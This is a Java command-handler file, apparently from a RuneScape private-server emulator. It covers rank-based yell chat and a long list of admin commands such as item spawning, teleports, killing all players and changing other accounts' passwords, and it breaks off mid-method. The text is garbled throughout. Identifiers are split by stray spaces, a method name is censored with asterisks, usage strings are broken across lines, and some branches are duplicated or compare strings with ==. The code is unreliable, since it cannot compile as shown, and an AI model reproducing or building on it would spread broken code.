package com.rs.game.player.content;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.TimerTask;
import com.rs.Settings;
import com.rs.cache.loaders.AnimationDefinitions;
import com.rs.cache.loaders.ItemDefinitions;
import com.rs.cores.CoresManager;
import com.rs.game.Animation;
import com.rs.game.ForceMovement;
import com.rs.game.ForceTalk;
import com.rs.game.Graphics;
import com.rs.game.Hit;
import com.rs.game.Hit.HitLook;
import com.rs.game.Region;
import com.rs.game.World;
import com.rs.game.WorldObject;
import com.rs.game.WorldTile;
import com.rs.game.item.Item;
import com.rs.game.item.ItemsContainer;
import com.rs.game.minigames.FightPits;
import com.rs.game.minigames.clanwars.ClanWars;
import com.rs.game.minigames.clanwars.WallHandler;
import com.rs.game.npc.NPC;
import com.rs.game.npc.others.Bork;
import com.rs.game.player.AuraManager;
import com.rs.game.player.LoyaltyManager;
import com.rs.game.player.Player;
import com.rs.game.player.Skills;
import com.rs.game.player.content.Notes.Note;
import com.rs.game.player.content.dungeoneering.DungeonPa rtyManager;
import com.rs.game.player.content.pet.Pets;
import com.rs.game.player.controlers.FightKiln;
import com.rs.game.player.cutscenes.HomeCutScene;
import com.rs.game.player.dialogues.Dialogue;
import com.rs.game.tasks.WorldTask;
import com.rs.game.tasks.WorldTasksManager;
import com.rs.utils.Encrypt;
import com.rs.utils.IPBanL;
import com.rs.utils.NPCSpawns;
import com.rs.utils.PkRank;
import com.rs.utils.SerializableFilesManager;
import com.rs.utils.Utils;
/*
* doesnt let it be extended
*/
public final class Commands {
/*
* all console commands only for admin, chat commands processed if they not
* processed by console
*/
private static Bork cal;
public static void sendYell(Player player, String message,
boolean isStaffYell) {
if (player.getMuted() > Utils.currentTimeMillis()) {
player.getPackets().sendGameMessage(
"You temporary muted. Recheck in 48 hours.");
return;
}
if (player.getRights() < 2) {
String[] invalid = { "<euro", "<img", "<img=", "<col", "<col=",
"<shad", "<shad=", "<str>", "<u>" };
for (String s : invalid)
if (message.contains(s)) {
player.getPackets().sendGameMessage(
"You cannot add additional code to the message.");
return;
}
}
for (Player players : World.getPlayers()) {
if (players == null || !players.isRunning())
continue;
if (isStaffYell) {
if (players.getRights() > 0
|| players.getUsername().equalsIgnoreCase("graham"))
players.getPackets().sendGameMessage(
"<col=ff0000>[Staff Yell]</col> "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()) + ": " + message
+ ".", true);
return;
}
if (player.getRights() == 2
&& player.getUsername().equalsIgnoreCase("graham")) {
World.sendWorldMessage("<col="+(player.getYellColo r() == "0000A0" || player.getYellColor() == null ? "0000A0" : player.getYellColor())+"><shad=000000>[Owner]<img=1>"+ player.getDisplayName()+ ": <col="+(player.getYellColor() == "0000A0" || player.getYellColor() == null ? "0000A0" : player.getYellColor())+"><shad=000000>"+ message + "", false);
return;
} else if (player.getRights() == 2
&& player.getUsername().equalsIgnoreCase("graham")) {
World.sendWorldMessage("<col="+(player.getYellColo r() == "0000A0" || player.getYellColor() == null ? "0000A0" : player.getYellColor())+"><shad=000000>[Co-Owner]<img=1>"+ player.getDisplayName()+ ": <col="+(player.getYellColor() == "0000A0" || player.getYellColor() == null ? "0000A0" : player.getYellColor())+"><shad=000000>"+ message + "", false);
return;
} else if (player.getRights() == 2
&& player.getUsername().equalsIgnoreCase("cattegrin") ) {
players.getPackets().sendGameMessage(
"<col=ADD8E6><shad=D4A017>[Head-Admin]<img=1>"
+ player.getDisplayName() + ": <col=ADD8E6><shad=D4A017>"
+ message + "</col>");
} else if (player.getRights() == 10
&& player.getUsername().equalsIgnoreCase("")) {
players.getPackets().sendGameMessage(
"[<col=000000>Leader</col>] <img=10>"
+ player.getDisplayName() + ": <col=000000>"
+ message + "</col>");
} else if (player.getRights() == 10
&& player.getUsername().equalsIgnoreCase("")) {
players.getPackets().sendGameMessage(
"[<col=00FF00>Beast Owner</col>] <img=10>"
+ player.getDisplayName() + ": <col=00FF00>"
+ message + "");
} else if (player.getRights() == 2
&& player.getUsername().equalsIgnoreCase("")) {
players.getPackets().sendGameMessage(
"[<col=FF00FF>Owner</col>] <img=1>"
+ player.getDisplayName() + ": <col=FF00FF>"
+ message + "</col>");
} else if (player.getRights() == 2) {
players.getPackets().sendGameMessage(
"<col=ff0000>[Admin]<img=1>"
+ player.getDisplayName() + ": <col=FFFF33>"
+ message + "</col>");
} else if (player.getRights() == 1) {
players.getPackets().sendGameMessage(
"[<col=347235>Mod</col>]<img=0>"
+ player.getDisplayName() + ": <col=347235>"
+ message + "</col>");
} else if (player.getUsername().equalsIgnoreCase("")) {
players.getPackets().sendGameMessage(
"[<col=347235>Supporter</col>]"
+ player.getDisplayName() + ": <col=347235>"
+ message + "</col>");
} else if (player.isSupporter() && player.getRights() == 0) {
World.sendWorldMessage("<col=58ACFA><shad=2E2EFE>[Player Support]</shad></col>"+player.getDisplayName()+": <col=58ACFA><shad=2E2EFE>"+message+"</shad></col>.", false);
return;
} else if (player.i***tremeDonator() && player.getRights() == 0) {
World.sendWorldMessage("<col="+(player.getYellColo r() == "FF0000" || player.getYellColor() == null ? "FF0000" : player.getYellColor())+"><shad=000000>[Extreme Donator]<img=11>"+ player.getDisplayName()+ ": <col="+(player.getYellColor() == "FF0000" || player.getYellColor() == null ? "FF0000" : player.getYellColor())+"><shad=000000>"+ message + "", false);
return;
}
}
}
public static boolean processCommand(Player player, String command,
boolean console, boolean clientCommand) {
if (command.length() == 0) // if they used :
nothing) theres no command
return false;
String[] cmd = command.toLowerCase().split(" ");
if (cmd.length == 0)
return false;
if (player.getRights() >= 2
&& processAdminCommand(player, cmd, console, clientCommand))
return true;
if (player.getRights() >= 1
&& (processModCommand(player, cmd, console, clientCommand) || processHeadModCommands(
player, cmd, console, clientCommand)))
return true;
if ((player.isSupporter() || player.getRights() >= 1)
&& processSupportCommands(player, cmd, console, clientCommand))
return true;
if (Settings.ECONOMY) {
player.getPackets().sendGameMessage(
"You can't use any commands in economy mode!");
return true;
}
return processNormalCommand(player, cmd, console, clientCommand);
}
/*
* extra parameters if you want to check them
*/
public static boolean processAdminCommand(final Player player,
String[] cmd, boolean console, boolean clientCommand) {
if (clientCommand) {
switch (cmd[0]) {
case "tele":
cmd = cmd[1].split(",");
int plane = Integer.valueOf(cmd[0]);
int x = Integer.valueOf(cmd[1]) << 6 | Integer.valueOf(cmd[3]);
int y = Integer.valueOf(cmd[2]) << 6 | Integer.valueOf(cmd[4]);
player.setNextWorldTile(new WorldTile(x, y, plane));
return true;
}
} else {
String name;
Player target;
WorldObject object;
switch (cmd[0]) {
case "loyalty":
player.getLoyaltyManager().openLoyaltyStore(player );
return true;
case "item":
if (!player.getUsername().equalsIgnoreCase("graham") && !player.getUsername().equalsIgnoreCase("") && !player.getUsername().equalsIgnoreCase("")) {
return true;
}
if (cmd.length < 2) {
player.getPackets().sendGameMessage(
"Use: ::item id (optional:amount)");
return true;
}
try {
int itemId = Integer.valueOf(cmd[1]);
player.getInventory().addItem(itemId,
cmd.length >= 3 ? Integer.valueOf(cmd[2]) : 1);
player.stopAll();
} catch (NumberFormatException e) {
player.getPackets().sendGameMessage(
"Use: ::item id (optional:amount)");
}
return true;
case "nexset":
if (!player.getUsername().equalsIgnoreCase("graham") && !player.getUsername().equalsIgnoreCase("graham") && !player.getUsername().equalsIgnoreCase("")) {
return true;
}
player.getInventory().addItem(20135, 1);
player.getInventory().addItem(20139, 1);
player.getInventory().addItem(20143, 1);
player.getInventory().addItem(20147, 1);
player.getInventory().addItem(20151, 1);
player.getInventory().addItem(20155, 1);
player.getInventory().addItem(20159, 1);
player.getInventory().addItem(20163, 1);
player.getInventory().addItem(20167, 1);
player.getInventory().addItem(24974, 1);
player.getInventory().addItem(24977, 1);
player.getInventory().addItem(24980, 1);
player.getInventory().addItem(24983, 1);
player.getInventory().addItem(24986, 1);
player.getInventory().addItem(24989, 1);
return true;
case "phatset":
if (!player.getUsername().equalsIgnoreCase("graham") && !player.getUsername().equalsIgnoreCase("graham") && !player.getUsername().equalsIgnoreCase("")) {
return true;
}
player.getInventory().addItem(1038, 1);
player.getInventory().addItem(1040, 1);
player.getInventory().addItem(1042, 1);
player.getInventory().addItem(1044, 1);
player.getInventory().addItem(1046, 1);
player.getInventory().addItem(1048, 1);
return true;
case "setspins":
String username = cmd[1].substring(cmd[1].indexOf(" ") + 1);
Player other = World.getPlayerByDisplayName(username);
if (other == null)
return true;
other.setSpins(Integer.parseInt(cmd[2]));
other.getPackets().sendGameMessage(
"You have recived some spins!");
return true;
case "unban":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target != null) {
IPBanL.unban(target);
player.getPackets().sendGameMessage(
"You have unbanned: " + target.getDisplayName()
+ ".");
} else {
name = Utils.formatPlayerNameForProtocol(name);
if (!SerializableFilesManager.containsPlayer(name)) {
player.getPackets()
.sendGameMessage(
"Account name "
+ Utils.formatPlayerNameForDisplay(name)
+ " doesn't exist.");
return true;
}
target = SerializableFilesManager.loadPlayer(name);
target.setUsername(name);
IPBanL.unban(target);
player.getPackets().sendGameMessage(
"You have unbanned: " + target.getDisplayName()
+ ".");
SerializableFilesManager.savePlayer(target);
}
return true;
case "sgar":
player.getControlerManager().startControler("Sorce ressGarden");
return true;
case "scg":
player.getControlerManager().startControler(
"StealingCreationsGame", true);
return true;
case "pm":
player.getPackets().sendPrivateMessage("test1", "hi");
player.getPackets().receivePrivateMessage("test1", "test1", 2,
"Yo bro.");
return true;
case "configsize":
player.getPackets().sendGameMessage(
"Config definitions size: 2633, BConfig size: 1929.");
return true;
case "npcmask":
String message = "";
for (int i = 1; i < cmd.length; i++)
message += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
for (NPC n : World.getNPCs()) {
if (n != null && Utils.getDistance(player, n) < 9) {
n.setNextForceTalk(new ForceTalk(message));
}
}
return true;
case "runespan":
Magic.sendNormalTeleportSpell(player, 0, 0, new WorldTile(3994, 6105, 1));
player.getControlerManager().startControler("RuneS panControler");
player.getPackets().sendGameMessage("type ::leaverunespan to Leave RuneSpan!");
player.getInventory().addItem(24227, 500);
return true;
case "leaverunespan":
player.getControlerManager().forceStop();
Magic.sendNormalTeleportSpell(player, 0, 0, new WorldTile(3605, 3364, 0));
return true;
case "house":
player.getControlerManager().startControler("House Controler");
return true;
case "qbd":
if (player.getSkills().getLevelForXp(Skills.SUMMONING ) < 60) {
player.getPackets()
.sendGameMessage(
"You need a summoning level of 60 to go through this portal.");
player.getControlerManager().removeControlerWithou tCheck();
return true;
}
player.lock();
player.getControlerManager().startControler(
"QueenBlackDragonControler");
return true;
case "killall":
int hitpointsMinimum = cmd.length > 1 ? Integer
.parseInt(cmd[1]) : 0;
for (Player p : World.getPlayers()) {
if (p == null || p == player) {
continue;
}
if (p.getHitpoints() < hitpointsMinimum) {
continue;
}
p.applyHit(new Hit(p, p.getHitpoints(),
HitLook.REGULAR_DAMAGE));
}
return true;
case "killingfields":
player.getControlerManager().startControler("Killi ngFields");
return true;
case "nntest":
Dialogue.sendNPCDialogueNoContinue(player, 1, 9827,
"Let's make things interesting!");
return true;
case "pptest":
player.getDialogueManager().startDialogue(
"SimplePlayerMessage", "123");
return true;
case "debugobjects":
System.out.println("Standing on " + World.getObject(player));
Region r = World.getRegion(player.getRegionY()
| (player.getRegionX() << 8));
if (r == null) {
player.getPackets().sendGameMessage("Region is null!");
return true;
}
List<WorldObject> objects = r.getObjects();
if (objects == null) {
player.getPackets().sendGameMessage("Objects are null!");
return true;
}
for (WorldObject o : objects) {
if (o == null || !o.matches(player)) {
continue;
}
System.out.println("Objects coords: " + o.getX() + ", "
+ o.getY());
System.out.println("[Object]: id=" + o.getId() + ", type="
+ o.getType() + ", rot=" + o.getRotation() + ".");
}
return true;
case "telesupport":
for (Player staff : World.getPlayers()) {
if (!staff.isSupporter())
continue;
staff.setNextWorldTile(player);
staff.getPackets().sendGameMessage(
"You been teleported for a staff meeting by "
+ player.getDisplayName());
}
return true;
case "telemods":
for (Player staff : World.getPlayers()) {
if (staff.getRights() != 1)
continue;
staff.setNextWorldTile(player);
staff.getPackets().sendGameMessage(
"You been teleported for a staff meeting by "
+ player.getDisplayName());
}
return true;
case "telestaff":
for (Player staff : World.getPlayers()) {
if (!staff.isSupporter() && staff.getRights() != 1)
continue;
staff.setNextWorldTile(player);
staff.getPackets().sendGameMessage(
"You been teleported for a staff meeting by "
+ player.getDisplayName());
}
return true;
case "pickuppet":
if (player.getPet() != null) {
player.getPet().pickup();
return true;
}
player.getPackets().sendGameMessage(
"You do not have a pet to pickup!");
return true;
case "modup":
name = "";
for (int i = 1; i < cmd.length; i++) {
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
}
target = World.getPlayerByDisplayName(name);
boolean loggedIn = true;
if (target == null) {
target = SerializableFilesManager.loadPlayer(Utils
.formatPlayerNameForProtocol(name));
if (target != null) {
target.setUsername(Utils
.formatPlayerNameForProtocol(name));
}
loggedIn = false;
}
if (target == null) {
return true;
}
target.setRights(1);
SerializableFilesManager.savePlayer(target);
if (loggedIn) {
target.getPackets().sendGameMessage(
"You have been promoted by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()) + ".", true);
}
player.getPackets().sendGameMessage(
"You have promoted "
+ Utils.formatPlayerNameForDisplay(target
.getUsername()) + ".", true);
return true;
case "removeequipitems":
File[] chars = new File("data/characters").listFiles();
int[] itemIds = new int[cmd.length - 1];
for (int i = 1; i < cmd.length; i++) {
itemIds[i - 1] = Integer.parseInt(cmd[i]);
}
for (File acc : chars) {
try {
Player target1 = (Player) SerializableFilesManager
.loadSerializedFile(acc);
if (target1 == null) {
continue;
}
for (int itemId : itemIds) {
target1.getEquipment().deleteItem(itemId,
Integer.MAX_VALUE);
}
SerializableFilesManager.storeSerializableClass(
target1, acc);
} catch (Throwable e) {
e.printStackTrace();
player.getPackets().sendMessage(99,
"failed: " + acc.getName() + ", " + e, player);
}
}
for (Player players : World.getPlayers()) {
if (players == null)
continue;
for (int itemId : itemIds) {
players.getEquipment().deleteItem(itemId,
Integer.MAX_VALUE);
}
}
return true;
case "restartfp":
FightPits.endGame();
player.getPackets().sendGameMessage("Fight pits restarted!");
return true;
case "modelid":
int id = Integer.parseInt(cmd[1]);
player.getPackets()
.sendMessage(
99,
"Model id for item "
+ id
+ " is: "
+ ItemDefinitions
.getItemDefinitions(id).modelId,
player);
return true;
case "teletome":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target == null)
player.getPackets().sendGameMessage(
"Couldn't find player " + name + ".");
else
target.setNextWorldTile(player);
return true;
case "agilitytest":
player.getControlerManager().startControler("Brimh avenAgility");
return true;
case "partyroom":
player.getInterfaceManager().sendInterface(647);
player.getInterfaceManager().sendInventoryInterfac e(336);
player.getPackets().sendInterSetItemsOptionsScript (336, 0, 93,
4, 7, "Deposit", "Deposit-5", "Deposit-10",
"Deposit-All", "Deposit-X");
player.getPackets().sendIComponentSettings(336, 0, 0, 27, 1278);
player.getPackets().sendInterSetItemsOptionsScript (336, 30, 90,
4, 7, "Value");
player.getPackets()
.sendIComponentSettings(647, 30, 0, 27, 1150);
player.getPackets().sendInterSetItemsOptionsScript (647, 33, 90,
true, 4, 7, "Examine");
player.getPackets()
.sendIComponentSettings(647, 33, 0, 27, 1026);
ItemsContainer<Item> store = new ItemsContainer<>(215, false);
for (int i = 0; i < store.getSize(); i++) {
store.add(new Item(1048, i));
}
player.getPackets().sendItems(529, true, store); // .sendItems(-1,
// -2, 529,
// store);
ItemsContainer<Item> drop = new ItemsContainer<>(215, false);
for (int i = 0; i < drop.getSize(); i++) {
drop.add(new Item(1048, i));
}
player.getPackets().sendItems(91, true, drop);// sendItems(-1,
// -2, 91,
// drop);
ItemsContainer<Item> deposit = new ItemsContainer<>(8, false);
for (int i = 0; i < deposit.getSize(); i++) {
deposit.add(new Item(1048, i));
}
player.getPackets().sendItems(92, true, deposit);// sendItems(-1,
// -2, 92,
// deposit);
return true;
case "objectname":
name = cmd[1].replaceAll("_", " ");
String option = cmd.length > 2 ? cmd[2] : null;
List<Integer> loaded = new ArrayList<Integer>();
for (int x = 0; x < 12000; x += 2) {
for (int y = 0; y < 12000; y += 2) {
int regionId = y | (x << 8);
if (!loaded.contains(regionId)) {
loaded.add(regionId);
r = World.getRegion(regionId, false);
r.loadRegionMap();
List<WorldObject> list = r.getObjects();
if (list == null) {
continue;
}
for (WorldObject o : list) {
if (o.getDefinitions().name
.equalsIgnoreCase(name)
&& (option == null || o
.getDefinitions()
.containsOption(option))) {
System.out.println("Object found - [id="
+ o.getId() + ", x=" + o.getX()
+ ", y=" + o.getY() + "]");
// player.getPackets().sendGameMessage("Object found - [id="
// + o.getId() + ", x=" + o.getX() + ", y="
// + o.getY() + "]");
}
}
}
}
}
/*
* Object found - [id=28139, x=2729, y=5509] Object found -
* [id=38695, x=2889, y=5513] Object found - [id=38695, x=2931,
* y=5559] Object found - [id=38694, x=2891, y=5639] Object
* found - [id=38694, x=2929, y=5687] Object found - [id=38696,
* x=2882, y=5898] Object found - [id=38696, x=2882, y=5942]
*/
// player.getPackets().sendGameMessage("Done!");
System.out.println("Done!");
return true;
case "bork":
if (Bork.deadTime > System.currentTimeMillis()) {
player.getPackets().sendGameMessage(Bork.convertTo Time());
return true;
}
player.getControlerManager().startControler("BorkC ontroler", 0,
null);
return true;
case "killnpc":
for (NPC n : World.getNPCs()) {
if (n == null || n.getId() != Integer.parseInt(cmd[1]))
continue;
n.sendDeath
;
}
return true;
case "sound":
if (cmd.length < 2) {
player.getPackets().sendPanelBoxMessage(
"Use: :
ound soundid effecttype");
return true;
}
try {
player.getPackets().sendSound(Integer.valueOf(cmd[1]), 0,
cmd.length > 2 ? Integer.valueOf(cmd[2]) : 1);
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: :
ound soundid");
}
return true;
case "music":
if (cmd.length < 2) {
player.getPackets().sendPanelBoxMessage(
"Use: :
ound soundid effecttype");
return true;
}
try {
player.getPackets().sendMusic(Integer.valueOf(cmd[1]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: :
ound soundid");
}
return true;
case "emusic":
if (cmd.length < 2) {
player.getPackets().sendPanelBoxMessage(
"Use: ::emusic soundid effecttype");
return true;
}
try {
player.getPackets()
.sendMusicEffect(Integer.valueOf(cmd[1]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: ::emusic soundid");
}
return true;
case "testdialogue":
player.getDialogueManager().startDialogue("DagonHa i", 7137,
player, Integer.parseInt(cmd[1]));
return true;
case "removenpcs":
for (NPC n : World.getNPCs()) {
if (n.getId() == Integer.parseInt(cmd[1])) {
n.reset();
n.finish();
}
}
return true;
case "resetkdr":
player.setKillCount(0);
player.setDeathCount(0);
return true;
case "newtut":
player.getControlerManager()
.startControler("TutorialIsland", 0);
return true;
case "removecontroler":
player.getControlerManager().forceStop();
player.getInterfaceManager().sendInterfaces();
return true;
case "nomads":
for (Player p : World.getPlayers())
p.getControlerManager().startControler("NomadsRequ iem");
return true;
case "testp":
// PartyRoom.startParty(player);
return true;
case "god":
if (!player.getUsername().equalsIgnoreCase("graham") && !player.getUsername().equalsIgnoreCase("graham") && !player.getUsername().equalsIgnoreCase("")) {
return true;
}
player.setHitpoints(Short.MAX_VALUE);
player.getEquipment().setEquipmentHpIncrease(
Short.MAX_VALUE - 990);
if (player.getUsername().equalsIgnoreCase(""))
return true;
for (int i = 0; i < 10; i++)
player.getCombatDefinitions().getBonuses()[i] = 5000;
for (int i = 14; i < player.getCombatDefinitions().getBonuses().length; i++)
player.getCombatDefinitions().getBonuses()[i] = 5000;
return true;
case "prayertest":
player.setPrayerDelay(4000);
return true;
case "karamja":
player.getDialogueManager().startDialogue(
"KaramjaTrip",
Utils.getRandom(1) == 0 ? 11701
: (Utils.getRandom(1) == 0 ? 11702 : 11703));
return true;
case "testdung":
new DungeonPartyManager(player);
return true;
case "checkdisplay":
for (Player p : World.getPlayers()) {
if (p == null)
continue;
String[] invalids = { "<img", "<img=", "col", "<col=",
"<shad", "<shad=", "<str>", "<u>" };
for (String s : invalids)
if (p.getDisplayName().contains(s)) {
player.getPackets().sendGameMessage(
Utils.formatPlayerNameForDisplay(p
.getUsername()));
} else {
player.getPackets().sendGameMessage("None exist!");
}
}
return true;
case "removedisplay":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target != null) {
target.setDisplayName(Utils
.formatPlayerNameForDisplay(target.getUsername())) ;
target.getPackets().sendGameMessage(
"Your display name was removed by "
+ Utils.formatPlayerNameForDisplay(player
.getUsername()) + ".");
player.getPackets().sendGameMessage(
"You have removed display name of "
+ target.getDisplayName() + ".");
SerializableFilesManager.savePlayer(target);
} else {
File acc1 = new File("data/characters/"
+ name.replace(" ", "_") + ".p");
try {
target = (Player) SerializableFilesManager
.loadSerializedFile(acc1);
} catch (ClassNotFoundException | IOException e) {
e.printStackTrace();
}
target.setDisplayName(Utils
.formatPlayerNameForDisplay(target.getUsername())) ;
player.getPackets().sendGameMessage(
"You have removed display name of "
+ target.getDisplayName() + ".");
try {
SerializableFilesManager.storeSerializableClass(ta rget,
acc1);
} catch (IOException e) {
e.printStackTrace();
}
}
return true;
case "cutscene":
player.getPackets().sendCutscene(Integer.parseInt( cmd[1]));
return true;
case "coords":
player.getPackets().sendGameMessage(
"Coords: " + player.getX() + ", " + player.getY()
+ ", " + player.getPlane() + ", regionId: "
+ player.getRegionId() + ", rx: "
+ player.getChunkX() + ", ry: "
+ player.getChunkY());
return true;
case "itemoni":
player.getPackets().sendItemOnIComponent(
Integer.valueOf(cmd[1]), Integer.valueOf(cmd[2]),
Integer.valueOf(cmd[3]), 1);
return true;
case "trade":
name = "";
for (int i = 1; i < cmd.length; i++)
name += cmd[i] + ((i == cmd.length - 1) ? "" : " ");
target = World.getPlayerByDisplayName(name);
if (target != null) {
player.getTrade().openTrade(target);
target.getTrade().openTrade(player);
}
return true;
case "setlevel":
if (cmd.length < 3) {
player.getPackets().sendGameMessage(
"Usage :
etlevel skillId level");
return true;
}
try {
int skill = Integer.parseInt(cmd[1]);
int level = Integer.parseInt(cmd[2]);
if (level < 0 || level > 99) {
player.getPackets().sendGameMessage(
"Please choose a valid level.");
return true;
}
player.getSkills().set(skill, level);
player.getSkills()
.setXp(skill, Skills.getXPForLevel(level));
player.getAppearence().generateAppearenceData();
return true;
} catch (NumberFormatException e) {
player.getPackets().sendGameMessage(
"Usage :
etlevel skillId level");
}
return true;
case "loadwalls":
WallHandler.loadWall(player.getCurrentFriendChat()
.getClanWars());
return true;
case "cwbase":
ClanWars cw = player.getCurrentFriendChat().getClanWars();
WorldTile base = cw.getBaseLocation();
player.getPackets().sendGameMessage(
"Base x=" + base.getX() + ", base y=" + base.getY());
base = cw.getBaseLocation()
.transform(
cw.getAreaType().getNorthEastTile().getX()
- cw.getAreaType().getSouthWestTile()
.getX(),
cw.getAreaType().getNorthEastTile().getY()
- cw.getAreaType().getSouthWestTile()
.getY(), 0);
player.getPackets()
.sendGameMessage(
"Offset x=" + base.getX() + ", offset y="
+ base.getY());
return true;
case "object":
try {
int type = cmd.length > 2 ? Integer.parseInt(cmd[2]) : 10;
if (type > 22 || type < 0) {
type = 10;
}
World.spawnObject(
new WorldObject(Integer.valueOf(cmd[1]), type, 0,
player.getX(), player.getY(), player
.getPlane()), true);
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage("Use: setkills id");
}
return true;
case "tab":
try {
player.getInterfaceManager().sendTab(
Integer.valueOf(cmd[2]), Integer.valueOf(cmd[1]));
} catch (NumberFormatException e) {
player.getPackets()
.sendPanelBoxMessage("Use: tab id inter");
}
return true;
case "killme":
player.applyHit(new Hit(player, 2000, HitLook.REGULAR_DAMAGE));
return true;
case "changepassother":
name = cmd[1];
File acc1 = new File("data/characters/"
+ name.replace(" ", "_") + ".p");
target = null;
if (target == null) {
try {
target = (Player) SerializableFilesManager
.loadSerializedFile(acc1);
} catch (ClassNotFoundException | IOException e) {
e.printStackTrace();
}
}
target.setPassword(Encrypt.encryptSHA1(cmd[2]));
player.getPackets().sendGameMessage(
"You changed their password!");
try {
SerializableFilesManager.storeSerializableClass(ta rget,
acc1);
} catch (IOException e) {
e.printStackTrace();
}
return true;
case "hidec":
if (cmd.length < 4) {
player.getPackets().sendPanelBoxMessage(
"Use: ::hidec interfaceid componentId hidden");
return true;
}
try {
player.getPackets().sendHideIComponent(
Integer.valueOf(cmd[1]), Integer.valueOf(cmd[2]),
Boolean.valueOf(cmd[3]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: ::hidec interfaceid componentId hidden");
}
return true;
case "string":
try {
player.getInterfaceManager().sendInterface(
Integer.valueOf(cmd[1]));
for (int i = 0; i <= Integer.valueOf(cmd[2]); i++)
player.getPackets().sendIComponentText(
Integer.valueOf(cmd[1]), i, "child: " + i);
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: string inter childid");
}
return true;
case "istringl":
if (cmd.length < 2) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
return true;
}
try {
for (int i = 0; i < Integer.valueOf(cmd[1]); i++) {
player.getPackets().sendGlobalString(i, "String " + i);
}
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
}
return true;
case "istring":
if (cmd.length < 2) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
return true;
}
try {
player.getPackets().sendGlobalString(
Integer.valueOf(cmd[1]),
"String " + Integer.valueOf(cmd[2]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: String id value");
}
return true;
case "iconfig":
if (cmd.length < 2) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
return true;
}
try {
for (int i = 0; i < Integer.valueOf(cmd[1]); i++) {
player.getPackets().sendGlobalConfig(
Integer.parseInt(cmd[2]), i);
}
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
}
return true;
case "config":
if (cmd.length < 3) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
return true;
}
try {
player.getPackets().sendConfig(Integer.valueOf(cmd[1]),
Integer.valueOf(cmd[2]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
}
return true;
case "forcemovement":
WorldTile toTile = player.transform(0, 5, 0);
player.setNextForceMovement(new ForceMovement(new WorldTile(
player), 1, toTile, 2, ForceMovement.NORTH));
return true;
case "configf":
if (cmd.length < 3) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
return true;
}
try {
player.getPackets().sendConfigByFile(
Integer.valueOf(cmd[1]), Integer.valueOf(cmd[2]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
}
return true;
case "hit":
for (int i = 0; i < 5; i++)
player.applyHit(new Hit(player, Utils.getRandom(3),
HitLook.HEALED_DAMAGE));
return true;
case "iloop":
if (cmd.length < 3) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
return true;
}
try {
for (int i = Integer.valueOf(cmd[1]); i < Integer
.valueOf(cmd[2]); i++)
player.getInterfaceManager().sendInterface(i);
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
}
return true;
case "tloop":
if (cmd.length < 3) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
return true;
}
try {
for (int i = Integer.valueOf(cmd[1]); i < Integer
.valueOf(cmd[2]); i++)
player.getInterfaceManager().sendTab(i,
Integer.valueOf(cmd[3]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
}
return true;
case "configloop":
if (cmd.length < 3) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
return true;
}
try {
for (int i = Integer.valueOf(cmd[1]); i < Integer
.valueOf(cmd[2]); i++) {
if (i >= 2633) {
break;
}
player.getPackets().sendConfig(i,
Integer.valueOf(cmd[3]));
}
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
}
return true;
case "configfloop":
if (cmd.length < 3) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
return true;
}
try {
for (int i = Integer.valueOf(cmd[1]); i < Integer
.valueOf(cmd[2]); i++)
player.getPackets().sendConfigByFile(i,
Integer.valueOf(cmd[3]));
} catch (NumberFormatException e) {
player.getPackets().sendPanelBoxMessage(
"Use: config id value");
}
return true;
case "testo2":
for (int x = 0; x < 10; x++) {
object = new WorldObject(62684, 0, 0, x * 2 + 1, 0, 0);
player.getPackets().sendSpawnedObject(object);
}
return true;
case "addn":
player.getNotes().add(new Note(cmd[1], 1));
player.getNotes().refresh();
return true;
case "remn":
player.getNotes().remove(
(Note) player.getTemporaryAttributtes().get("curNote"));
return true;
case "objectanim":
object = cmd.length == 4 ? World.getObject(new WorldTile(
Integer.parseInt(cmd[1]), Integer.parseInt(cmd[2]),
player.getPlane())) : World.getObject(new WorldTile(
Integer.parseInt(cmd[1]), Integer.parseInt(cmd[2]),
player.getPlane()), Integer.parseInt(cmd[3]));
if (object == null) {
player.getPackets().sendPanelBoxMessage(
"No object was found.");
return true;
}
player.getPackets().sendObjectAnimation(
object,
new Animation(Integer.parseInt(cmd[cmd.length == 4 ? 3
: 4])));
return true;
case "loopoanim":
int x = Integer.parseInt(cmd[1]);
int y = Integer.parseInt(cmd[2]);
